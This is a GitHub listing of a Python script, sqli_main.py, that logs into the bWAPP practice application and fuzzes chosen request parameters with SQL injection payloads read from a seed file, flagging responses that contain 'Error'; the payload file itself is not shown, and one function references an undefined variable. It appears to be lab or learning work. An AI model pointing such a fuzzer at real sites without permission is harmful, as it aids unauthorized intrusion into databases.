-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathsqli_main.py
114 lines (93 loc) · 3.44 KB
/
sqli_main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
import os
#import requests
import pycurl
from io import BytesIO
import copy
import urllib.parse
import time
class SQLi:
count = 0
def __init__(self, method, attack_url, params, path):
idx = 0
for k in range(len(attack_url[7:])):
if attack_url[k+7] == "/":
idx = k+7
break
loginfo = {"login": "bee", "password": "bug", "security_level": "0", "form": "submit"}
loginUrl = attack_url[:idx]+"/bWAPP/login.php"
self.C = pycurl.Curl()
self.C.setopt(self.C.COOKIEJAR, 'cookie.txt')
self.C.setopt(self.C.POST,True)
self.C.setopt(self.C.FOLLOWLOCATION, 1)
buf = BytesIO()
self.C.setopt(self.C.WRITEDATA, buf)
self.C.setopt(self.C.POSTFIELDS, urllib.parse.urlencode(loginfo))
self.C.setopt(self.C.URL,loginUrl )
self.C.perform()
time.sleep(1)
self.temp = {}
self.mut = {}
self.url = attack_url # 공격 대상
self.method = method # HTTP METHOD
self.par = params # 파라미터
self.c = pycurl.Curl()
self.c.setopt(self.c.FOLLOWLOCATION, 1)
self.c.setopt(self.c.COOKIEFILE, 'cookie.txt')
self.c.setopt(self.c.COOKIEJAR, 'cookie.txt')
if method == "GET":
self.c.setopt(self.c.HTTPGET, True)
self.c.setopt(self.c.POST, False)
else:
self.c.setopt(self.c.URL, attack_url)
self.c.setopt(self.c.POST, True)
self.c.setopt(self.c.HTTPGET, False)
self.seed = open(path, "r") # 시드파일 경로
tmp = self.seed.readlines()
self.seed.close()
self.seed = tmp
def StartFuzz(self):
for i in self.seed:
self.Fuzz(i)
def Fuzz(self, vector):
self.buffer = BytesIO()
self.c.setopt(self.c.WRITEDATA, self.buffer)
self.mut = self.InsertSeed(vector)
#print(param)
if (self.method == "GET"):
gurl = self.url + '?' + urllib.parse.urlencode(self.mut)
print(gurl)
self.c.setopt(self.c.URL, gurl)
# res = requests.get(self.url, params=self.InsertSeed(vector)) # @ --> 공격 시드로 변경
else: # (self.method == "POST"):
print(self.url)
self.c.setopt(self.c.POSTFIELDS, urllib.parse.urlencode(self.mut))
# res = requests.post(self.url, data=self.InsertSeed(vector)) # @ --> 공격 시드로 변경
self.c.perform()
self.res = self.buffer.getvalue()
self.ResultProcess(self.res.decode('euc-kr'))
def InsertSeed(self, vector):
# 파라미터마다 다른 시드 삽입
temp = copy.deepcopy(self.par)
for i in temp.keys():
if (temp[i] == '$'):
temp[i] = vector[:-1]
self.temp = temp
return temp
def Check(self, res):
print(self.mut[i])
a = res.find("Error")
if a !=-1:
print(res[a:a+153])
return 1
else:
return 0
def ResultProcess(self, res):
# 결과 정리
# format: "TYPE, # Code Success Payload"
#self.c.close()
SQLi.count += 1
#time.sleep(3)
r = self.c.getinfo(pycurl.HTTP_CODE)
result_string = "{:<16}{:<16}{:<16}{}".format("sqli#" + str(SQLi.count), r,
self.Check(res), self.temp)
print(result_string)